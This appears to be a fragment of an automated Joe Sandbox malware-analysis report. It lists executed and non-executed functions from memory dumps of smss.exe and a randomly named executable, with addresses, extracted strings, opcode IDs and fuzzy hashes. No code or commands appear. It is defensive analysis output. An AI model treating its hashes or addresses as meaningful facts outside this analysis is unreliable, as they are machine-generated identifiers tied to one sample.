Instruction Fuzzy Hash: 4D018C3081A90E9EEB98FF24C4582BA73A1FF18349F10087EE42ED31D5DF35A598CA14

Function 00007FF848D91280 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.2385110588.00007FF848D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848d90000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 677275d409d195b40c3c27901e66ec3c5cb02c26286eeadcd62fa7a11f7ab755
Instruction ID: 79931a3d029df079f1114b84b7aab73b8b65de13baa750ebb5d1c0fd3efaf04a
Opcode Fuzzy Hash: 677275d409d195b40c3c27901e66ec3c5cb02c26286eeadcd62fa7a11f7ab755
Instruction Fuzzy Hash: 54F0AF70D9EA4F8EEF98BA6888193FA77E4FF59248F00047AD45EC30C1EF2854088204

Function 00007FF848D9AF0B Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.2385110588.00007FF848D98000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D98000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848d98000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b40042ad1aee67ebf21efbf1b81e24a4d27f3b75fae6146925c24b9efc621d8a
Instruction ID: 7c2cd573f55e93699adfed722359a7702289e2ba33880108f085e16d2876e434
Opcode Fuzzy Hash: b40042ad1aee67ebf21efbf1b81e24a4d27f3b75fae6146925c24b9efc621d8a
Instruction Fuzzy Hash: F7F06D72D5E90E9FEB91FF3884496B97BE0EF09388F0508B2E40CC7095EF34A5988644

Function 00007FF848DA10B0 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.2385110588.00007FF848DA1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848da1000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e963fbf23c865c3467f6256ad2c6a1a15896a3fd890b25074f7e64cc7de1cae
Instruction ID: ef3558a754a866e8306aafcf7d7b5cf03883ecb50bcb7b9e650346367250fa9a
Opcode Fuzzy Hash: 7e963fbf23c865c3467f6256ad2c6a1a15896a3fd890b25074f7e64cc7de1cae
Instruction Fuzzy Hash: EEF0197491964E8FDF44EF68D84AAFA77F0FF18345F10053AE81AD3290DB34A1548B85

Function 00007FF848D92769 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.2385110588.00007FF848D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848d90000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c527b1a42cfd17d9b9e18126f43d6672a74831e6d57808b808a75221139fffd
Instruction ID: 149a04a02ceb14993ed35142c68dba5f4fad6cd40ffc728a7855f2471e4418b5
Opcode Fuzzy Hash: 5c527b1a42cfd17d9b9e18126f43d6672a74831e6d57808b808a75221139fffd
Instruction Fuzzy Hash: A4F06231C0E78A8FEB59AF3488552A93B61FF16345F4504BAD419C71D2DB389458C751

Function 00007FF848DA11D0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.2385110588.00007FF848DA1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848da1000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d478e225da863b19d0619d2067e8a7c73bf0c0aa38a40aec4ae4fc59fa9e798
Instruction ID: bd2992723976b981c8a84ce1caa866542d820824e1ef229a404bc921121ad822
Opcode Fuzzy Hash: 1d478e225da863b19d0619d2067e8a7c73bf0c0aa38a40aec4ae4fc59fa9e798
Instruction Fuzzy Hash: D0F0583095AA1E8EEF84FF6898096FE76A0FF18345F50053AE82EC3190EB30A5588644

Function 00007FF848D927DD Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.2385110588.00007FF848D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848d90000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f4cded7cce6015d3a85e09985a44f0ba085e24389fd0e850ca95f1bfcb30fb5
Instruction ID: 9d4ab86afe7c559a69502a5deabf7fe0bef6605c24508ddb7dbbfe4587d9fa24
Opcode Fuzzy Hash: 2f4cded7cce6015d3a85e09985a44f0ba085e24389fd0e850ca95f1bfcb30fb5
Instruction Fuzzy Hash: B0F0BE3180FB8E8FEB59AF24885A2F93BA0FF45358F4505BEE819C61D6DB399458C701

Function 00007FF848DAFEE2 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.2385110588.00007FF848DA1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848da1000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fde19563c65c534f12167c5d53728853c6ace83fc741a4c78b3ab819ce473d3
Instruction ID: ac7843550ce99143b9eb62f08adada10758c14bd7b87396b053b7c4fb1ed01d6
Opcode Fuzzy Hash: 5fde19563c65c534f12167c5d53728853c6ace83fc741a4c78b3ab819ce473d3
Instruction Fuzzy Hash: 30C08C20B0E76AAFD266FB38481027811819F4E780F200CFAD00FC3287ED3E9E048250

Function 00007FF848DB1E70 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.2385110588.00007FF848DA1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848da1000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8373c0bd6b6d1374926a910ae289d3ec1e4f9a0d80babbeb68c09825bb337e11
Instruction ID: 1415d842769269f9f3c988b2f916241da75ae5843af3c706ea2f932ba52adb55
Opcode Fuzzy Hash: 8373c0bd6b6d1374926a910ae289d3ec1e4f9a0d80babbeb68c09825bb337e11
Instruction Fuzzy Hash: B2A00204CAB80E0ADD1831BB1D87594B4505BDD155FD51160E8088118AE98E25EE0397

Function 00007FF848DB1E2A Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.2385110588.00007FF848DA1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848da1000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 585b8cb9ae447e3aab008e557a6e4406244542acdbc43fddbc2acf8ea9506c51
Instruction ID: 50b8685abe05a0eb5269c4399d65c25e272b1cf9965218655a8253288376f575
Opcode Fuzzy Hash: 585b8cb9ae447e3aab008e557a6e4406244542acdbc43fddbc2acf8ea9506c51
Instruction Fuzzy Hash: 9BA00204CDF40B0EFD24319218426F8F0405FAD291FE51271D44D4218ADF8E399E136A

Non-executed Functions

Function 00007FF848DB06B0 Relevance: 7.7, Strings: 6, Instructions: 234COMMON

Download Yara Rule

Strings

peH, xrefs: 00007FF848DB08C9
L_^, xrefs: 00007FF848DB0772
PeH, xrefs: 00007FF848DB08A9
L_^, xrefs: 00007FF848DB0762
_, xrefs: 00007FF848DB0839
`eH, xrefs: 00007FF848DB08B9

Memory Dump Source

Source File: 00000023.00000002.2385110588.00007FF848DA1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848da1000_smss.jbxd

Similarity

API ID:
String ID: L_^$L_^$PeH$_$`eH$peH
API String ID: 0-1651819951
Opcode ID: f66c29a5386a45ea14eaa2c83d94973dd0efe1aeaaa4a76539a0fca9da87d7fb
Instruction ID: 4a455e21469875fbcbd18208c8d8e94b3eae23eae5da98495bf0a7d5a705a7f5
Opcode Fuzzy Hash: f66c29a5386a45ea14eaa2c83d94973dd0efe1aeaaa4a76539a0fca9da87d7fb
Instruction Fuzzy Hash: 3861FF77D0F5D65FE316F63C68652F93790EF526A8F0801B6C0848B0A7EE18694F82D9

Function 00007FF848DA13C4 Relevance: 6.4, Strings: 5, Instructions: 178COMMON

Download Yara Rule

Strings

/, xrefs: 00007FF848DA1B47
+, xrefs: 00007FF848DA13B8
", xrefs: 00007FF848DA15C9
%, xrefs: 00007FF848DA142E
], xrefs: 00007FF848DA13FB

Memory Dump Source

Source File: 00000023.00000002.2385110588.00007FF848DA1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848da1000_smss.jbxd

Similarity

API ID:
String ID: "$%$+$/$]
API String ID: 0-2028497010
Opcode ID: 52b7db182bbdbd81640c8fa36cadd45d1800016c11973538700a5fd858e4ccc3
Instruction ID: 2e2e46ea885b7c60da8bbce09ad5dbf920da878ed03346b0d05107fe54b70106
Opcode Fuzzy Hash: 52b7db182bbdbd81640c8fa36cadd45d1800016c11973538700a5fd858e4ccc3
Instruction Fuzzy Hash: 1D81D170D196298FDBA8EF14D8947EDB3B2FF59345F1041A9D04EA7281CB786A88CF04

Function 00007FF848DB07F2 Relevance: 6.4, Strings: 5, Instructions: 122COMMON

Download Yara Rule

Strings

<L_^, xrefs: 00007FF848DB0801
peH, xrefs: 00007FF848DB08C9
PeH, xrefs: 00007FF848DB08A9
_, xrefs: 00007FF848DB0839
`eH, xrefs: 00007FF848DB08B9

Memory Dump Source

Source File: 00000023.00000002.2385110588.00007FF848DA1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848da1000_smss.jbxd

Similarity

API ID:
String ID: <L_^$PeH$_$`eH$peH
API String ID: 0-3879256037
Opcode ID: f398915f7668f06f91130ea56ed7b75ed25faf0dc15e38cb3182c5ffeaa375ff
Instruction ID: 328a072217deb1ec05a1cd5727579c6f29efa5c4591f291f5a6c4833fee5a131
Opcode Fuzzy Hash: f398915f7668f06f91130ea56ed7b75ed25faf0dc15e38cb3182c5ffeaa375ff
Instruction Fuzzy Hash: 1331DB67D0F6D29FE216F63C68651F93BD0FF526B4F1800B7C0884B0A7BA159D4A82D9

Function 00007FF848DA1654 Relevance: 6.4, Strings: 5, Instructions: 109COMMON

Download Yara Rule

Strings

!, xrefs: 00007FF848DA1951
/, xrefs: 00007FF848DA1B47
{, xrefs: 00007FF848DA1944
[, xrefs: 00007FF848DA1C27
%, xrefs: 00007FF848DA142E

Memory Dump Source

Source File: 00000023.00000002.2385110588.00007FF848DA1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff848da1000_smss.jbxd

Similarity

API ID:
String ID: !$%$/$[${
API String ID: 0-890287878
Opcode ID: 3ccd8cbe3f30b37b85133a35e5982eda46b7b43f6b1b69118a8743257a5a3e9f
Instruction ID: 2033cc664088960817b44b64f0ef7d8de2247d11241d3eb5fa992e99bc297e02
Opcode Fuzzy Hash: 3ccd8cbe3f30b37b85133a35e5982eda46b7b43f6b1b69118a8743257a5a3e9f
Instruction Fuzzy Hash: 1551B470D0932A8FEF64EF54D8847EDB6B5AF19344F2041B9D00EA7281DB786A88DF54

Analysis Process: fuBYljHeUjtkgvlnN.exePID: 180, Parent PID: 1028COMMON

Executed Functions

Function 00007FF848DA35C5 Relevance: 1.5, Strings: 1, Instructions: 271COMMON

Download Yara Rule

Strings

L_H, xrefs: 00007FF848DA3870

Memory Dump Source

Source File: 00000024.00000002.2444438873.00007FF848DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff848da0000_fuBYljHeUjtkgvlnN.jbxd

Similarity

API ID:
String ID: L_H
API String ID: 0-402390507
Opcode ID: f9b3a70f2031fecbc1e58063a54a69eb9d5b1ffe30653b7093889240df1aff0f
Instruction ID: fd7c2519f04368b0f70971961d83aee016d3e8b314a3cc88f021c3fa15eaf838
Opcode Fuzzy Hash: f9b3a70f2031fecbc1e58063a54a69eb9d5b1ffe30653b7093889240df1aff0f
Instruction Fuzzy Hash: 0591B071D1DA4E8FE798EB6CD8193B9BBE2FB5A390F940179C00DD32C6CBA518058B45

Function 00007FF848DAF674 Relevance: 3.8, Strings: 3, Instructions: 63COMMON

Download Yara Rule

Strings

, xrefs: 00007FF848DAF6E6
}, xrefs: 00007FF848DAF6AB
/, xrefs: 00007FF848DAF953

Memory Dump Source

Source File: 00000024.00000002.2444438873.00007FF848DAF000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff848daf000_fuBYljHeUjtkgvlnN.jbxd

Similarity

API ID:
String ID: $/$}
API String ID: 0-3304983946
Opcode ID: e9a9f38cc30a80e1fbbb9145424eb9cdbcfeeecf3bbe73d58b2cbe9cbba4f352
Instruction ID: 819da9a93cf71124f6d2aa1537c8fa02c582c6aa18acb9caea6db3965b76dc85
Opcode Fuzzy Hash: e9a9f38cc30a80e1fbbb9145424eb9cdbcfeeecf3bbe73d58b2cbe9cbba4f352
Instruction Fuzzy Hash: 1021A570D0962E8FDFA8EF14C8947A9B6B5AB54341F2044EAD40DA3291CB386A88CF54

Function 00007FF848DB1309 Relevance: 3.8, Strings: 3, Instructions: 51COMMON

Download Yara Rule

Strings

), xrefs: 00007FF848DB133A
", xrefs: 00007FF848DB1362
/, xrefs: 00007FF848DB1B47

Memory Dump Source

Source File: 00000024.00000002.2444438873.00007FF848DB1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff848db1000_fuBYljHeUjtkgvlnN.jbxd

Similarity

API ID:
String ID: "$)$/
API String ID: 0-1070994048
Opcode ID: 2eb589c276980893f4d976cc5adf1926f91d91aa26c82d0b6330f00cf1ec64ee
Instruction ID: daaff91c25d4eb2ce7350cb0bf1d72cfae43abdc71827178f449b3926c94e47e
Opcode Fuzzy Hash: 2eb589c276980893f4d976cc5adf1926f91d91aa26c82d0b6330f00cf1ec64ee
Instruction Fuzzy Hash: CA113A71D0862DCFDF68DF94D8987ACB3B2FB69341F10426AC009AB284DB746948CB18

Function 00007FF848DB1A0C Relevance: 2.5, Strings: 2, Instructions: 35COMMON

Download Yara Rule

Strings

&, xrefs: 00007FF848DB1A5B
/, xrefs: 00007FF848DB1B47

Memory Dump Source

Source File: 00000024.00000002.2444438873.00007FF848DB1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff848db1000_fuBYljHeUjtkgvlnN.jbxd

Similarity

API ID:
String ID: &$/
API String ID: 0-2578988991
Opcode ID: 96ae071ea7221e082b8ecea8edbde4dfb66c493d8812c8707b8f9eaddb7e471d
Instruction ID: bcacb042688493ff44a1fc6afa7ad44f38bdf65474c634b2b4059c7fe27e54a6
Opcode Fuzzy Hash: 96ae071ea7221e082b8ecea8edbde4dfb66c493d8812c8707b8f9eaddb7e471d
Instruction Fuzzy Hash: F401A870A09A2D8FEF55EF54C855BE9B3B5FB69301F5001A9C00DE7290DB346E84CB05

Function 00007FF848DAFF7B Relevance: 2.5, Strings: 2, Instructions: 25COMMON

Download Yara Rule

Strings

e, xrefs: 00007FF848DAFFF0
], xrefs: 00007FF848DAFF85

Memory Dump Source

Source File: 00000024.00000002.2444438873.00007FF848DAF000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff848daf000_fuBYljHeUjtkgvlnN.jbxd

Similarity

API ID:
String ID: ]$e
API String ID: 0-1460998272
Opcode ID: 7a1645c8846097bbefca5381d23dd8b92fd27d6032104e7c6246af0c3d46be71
Instruction ID: 92225cc137b00d717cf6c8910dd358c0f6e05a295da4b8d406b96cc3c3196591
Opcode Fuzzy Hash: 7a1645c8846097bbefca5381d23dd8b92fd27d6032104e7c6246af0c3d46be71
Instruction Fuzzy Hash: FAF07F70D0662B8FDBA8EF28CD587E9B6B1AF44305F5441F9D01CA6295DB385AC8CF04

Function 00007FF848DA16E8 Relevance: 1.5, Strings: 1, Instructions: 281COMMON

Download Yara Rule

Strings

2EH, xrefs: 00007FF848DA1EB3

Memory Dump Source

Source File: 00000024.00000002.2444438873.00007FF848DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff848da0000_fuBYljHeUjtkgvlnN.jbxd

Similarity

API ID:
String ID: 2EH
API String ID: 0-17899816
Opcode ID: 6b2b6740c7af8d1deb976d3bcbf3f127a31b2959c835f07bcab6020bb4547c6e
Instruction ID: 2aa30a9f9c4927de2a0e2d96594ee15ade4e77ada39be5d77b4f5541bd89edd3
Opcode Fuzzy Hash: 6b2b6740c7af8d1deb976d3bcbf3f127a31b2959c835f07bcab6020bb4547c6e
Instruction Fuzzy Hash: CD819231A0DB4A8FDF49EE1CA8556B977E2FF98740F24417AD44EC7286CF34A8068785

Function 00007FF848DB2D9B Relevance: 1.4, Strings: 1, Instructions: 177COMMON

Download Yara Rule

Strings

to, xrefs: 00007FF848DB2EB6

Memory Dump Source

Source File: 00000024.00000002.2444438873.00007FF848DB1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff848db1000_fuBYljHeUjtkgvlnN.jbxd

Similarity

API ID:
String ID: to
API String ID: 0-922801746
Opcode ID: edeeab649b79af5aefd031f34055e13867bf9cb53e8ad16dae4dce694d3e4a56
Instruction ID: 5a77d2ff68f4dff536603fc130095ba6b1dfd00daf29f9f642cc082b9ff6319f
Opcode Fuzzy Hash: edeeab649b79af5aefd031f34055e13867bf9cb53e8ad16dae4dce694d3e4a56
Instruction Fuzzy Hash: 5661C270D19A1D8EEBA4EB68C855BACB7B1FF58340F5041BAD00DE3292DF7469898B44

Function 00007FF848DACCFB Relevance: 1.4, Strings: 1, Instructions: 147COMMON

Download Yara Rule

Strings

wL_^, xrefs: 00007FF848DACD01

Memory Dump Source

Source File: 00000024.00000002.2444438873.00007FF848DA8000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff848da8000_fuBYljHeUjtkgvlnN.jbxd

Similarity

API ID:
String ID: wL_^
API String ID: 0-534515445
Opcode ID: 1495460d15542f9c7c08ef8b0b017fa58b3e37a30a0ce8ff842ea7c3f771c973
Instruction ID: 0f1ddd269a39b809f8dc2ff2c6323321520ec61007bbcae2f73b8108cd57129e
Opcode Fuzzy Hash: 1495460d15542f9c7c08ef8b0b017fa58b3e37a30a0ce8ff842ea7c3f771c973
Instruction Fuzzy Hash: CB41D12690F76A9EEB6176ADB8192F97B90EF913F1F140137D50C8A083DF18354886BD

Function 00007FF848DACBFB Relevance: .2, Instructions: 214COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2444438873.00007FF848DA8000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff848da8000_fuBYljHeUjtkgvlnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a471a3db9e7c7a713db459d9e8870cad71098dfb8a5feb0ad33a0d7c2173c01
Instruction ID: b74e90db92c6a318a170982f939ece6b84efd00ee74848a5f3530ca18252d233
Opcode Fuzzy Hash: 1a471a3db9e7c7a713db459d9e8870cad71098dfb8a5feb0ad33a0d7c2173c01
Instruction Fuzzy Hash: 08510327A0F6669EE711776DB8192F87B90EF813B5F280137D18C8A083DF18354986BD

Function 00007FF848DAC5A9 Relevance: .2, Instructions: 190COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2444438873.00007FF848DA8000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff848da8000_fuBYljHeUjtkgvlnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bd0f25d4671d07c2991866531e31b6fd2194fc2d81a43999d6ff4b90b12ca03
Instruction ID: b80ecdbca8bdfe05c56759fc1ea9177d49beb6cbc38c765dcdcd8484b9afbd09
Opcode Fuzzy Hash: 6bd0f25d4671d07c2991866531e31b6fd2194fc2d81a43999d6ff4b90b12ca03
Instruction Fuzzy Hash: C3512370D0DA1D8FEB98EB68C4557EDBBB1EF98350F64117AD009E7292CF3868498B44

Function 00007FF848DA1D2D Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2444438873.00007FF848DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff848da0000_fuBYljHeUjtkgvlnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f854ab903f6e115f68b07a706391c2e7995f4ffcd54b6ff822360b07bd3473cd
Instruction ID: 3b1ef6fd21956b4aac830baf575ef79fa1745c118df5647f5214ccd73b66ce0a
Opcode Fuzzy Hash: f854ab903f6e115f68b07a706391c2e7995f4ffcd54b6ff822360b07bd3473cd
Instruction Fuzzy Hash: EB51B431A1DB8A4FDF48DE1898546BA77E2FF98740F24457ED44AC7285CF34E8068785

Function 00007FF848DADDD9 Relevance: .2, Instructions: 181COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2444438873.00007FF848DA8000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff848da8000_fuBYljHeUjtkgvlnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5adeca125971cde0bc64092ab98b0ef9704f3caa31368074eed0bcc111e73a1
Instruction ID: 2732c6bae31834a46d0c779d3bc2fdbcb0e7604ef33004e9eecad0088e2cbb2d
Opcode Fuzzy Hash: e5adeca125971cde0bc64092ab98b0ef9704f3caa31368074eed0bcc111e73a1
Instruction Fuzzy Hash: E951B071D1DA8A8FE7A8AB2898653F876A1FF14350F1401FAC04ED31D6CF781988CB45

Function 00007FF848DA31F5 Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2444438873.00007FF848DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff848da0000_fuBYljHeUjtkgvlnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 995c107e36e63eff8df240dac413ab23e31aa4d78bce6fa5ef3bef87dc4fedcd
Instruction ID: 1fb9ac46e18054b8c756a3214ee1313cb271ee08a7271f438f06c0b4f640efc0
Opcode Fuzzy Hash: 995c107e36e63eff8df240dac413ab23e31aa4d78bce6fa5ef3bef87dc4fedcd
Instruction Fuzzy Hash: 82611774D0E6198FEB58EFA9C4547EDBBB2EF58340F60417AD009E7292DB386948CB14

Function 00007FF848DA2145 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2444438873.00007FF848DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff848da0000_fuBYljHeUjtkgvlnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7bb4bd404c6da2acb41093d872c41de9eda15c81e37e2899421422dff54232e
Instruction ID: 6f6922d5678aa738680c8c9e8514a627406420ab1cbefc1bdb7991c794a30d79
Opcode Fuzzy Hash: e7bb4bd404c6da2acb41093d872c41de9eda15c81e37e2899421422dff54232e
Instruction Fuzzy Hash: 8F414831E1EB4A4FE745EB3898452B97BE0EF4A380F1541BAD04CC3192DF28A8458355

Function 00007FF848DAB33D Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2444438873.00007FF848DA8000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff848da8000_fuBYljHeUjtkgvlnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43cb852977c997b6ba0ed2500372f3d686fcc09899c6aa37928ea85baa18b7df
Instruction ID: 9346537fd26491928f05962dfd53df2ab876139b257c49e712647b3f92452555
Opcode Fuzzy Hash: 43cb852977c997b6ba0ed2500372f3d686fcc09899c6aa37928ea85baa18b7df
Instruction Fuzzy Hash: 0141BF7190EA4A9FE741FB6898592BD7BE0FF5A354F1444B6C008C7092DF69A44A8354

Function 00007FF848DAC651 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2444438873.00007FF848DA8000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff848da8000_fuBYljHeUjtkgvlnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b19802d3cd1bf7e9c25579ee97cf769dfbe2396a4cc7da1605d1259586131d5b
Instruction ID: 3c2a5878baa8467327749f36d8f46dead14b7bc6087ef99143bccf35ab8c1f48
Opcode Fuzzy Hash: b19802d3cd1bf7e9c25579ee97cf769dfbe2396a4cc7da1605d1259586131d5b
Instruction Fuzzy Hash: 0131A570D1DA1D8FEB98EB68D4957ADB7B1FF98350F60117AD00DE3292DF2468458B04

Function 00007FF848DACCD3 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2444438873.00007FF848DA8000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff848da8000_fuBYljHeUjtkgvlnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2547129180b035f9f99fda51838a60f6ee5f2f2f5b120da6c37a00ed8ecff515
Instruction ID: 474a014384eed290400c67bd2adba32ac7ab20e0fbd5cc40f4b5b153602f4c89
Opcode Fuzzy Hash: 2547129180b035f9f99fda51838a60f6ee5f2f2f5b120da6c37a00ed8ecff515
Instruction Fuzzy Hash: CE31B02690F76A4EEB65766DA8153FC7B90EF913B1F240037D10C8B093DF28295882BD

Function 00007FF848DAD84D Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2444438873.00007FF848DA8000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff848da8000_fuBYljHeUjtkgvlnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0aadf5fae2590a4316c8d24880663da578c631e54f37dafb25a20c5a188c004
Instruction ID: 3c316c079c1ba600368d8f7354a8c1265540b393349d7c2b9f026655140d2554
Opcode Fuzzy Hash: e0aadf5fae2590a4316c8d24880663da578c631e54f37dafb25a20c5a188c004
Instruction Fuzzy Hash: DC412970D0E6198FEB54EB68C4447EDBBF1EF48350F20457AD00AE7295DB78A848CB58

Function 00007FF848DA0F36 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2444438873.00007FF848DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff848da0000_fuBYljHeUjtkgvlnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ce7f84a1a362ef213bc1d15fd2368e1e766e9c9a14090e8a27fbdce9115c346
Instruction ID: 6e155b66789992a9898303e30fcc06b6d1f984d2d183711188b7736705846a56
Opcode Fuzzy Hash: 5ce7f84a1a362ef213bc1d15fd2368e1e766e9c9a14090e8a27fbdce9115c346
Instruction Fuzzy Hash: 8E310F31D0A6198EEB64FB68C4447EDB3A1FF54341F6042B9D00DA7296DF386D498B58

Function 00007FF848DAA9B1 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2444438873.00007FF848DA8000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff848da8000_fuBYljHeUjtkgvlnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8bc239fe7165ebc38b87218231df4ea8ed1331eaa73e5dc29976abfda151644
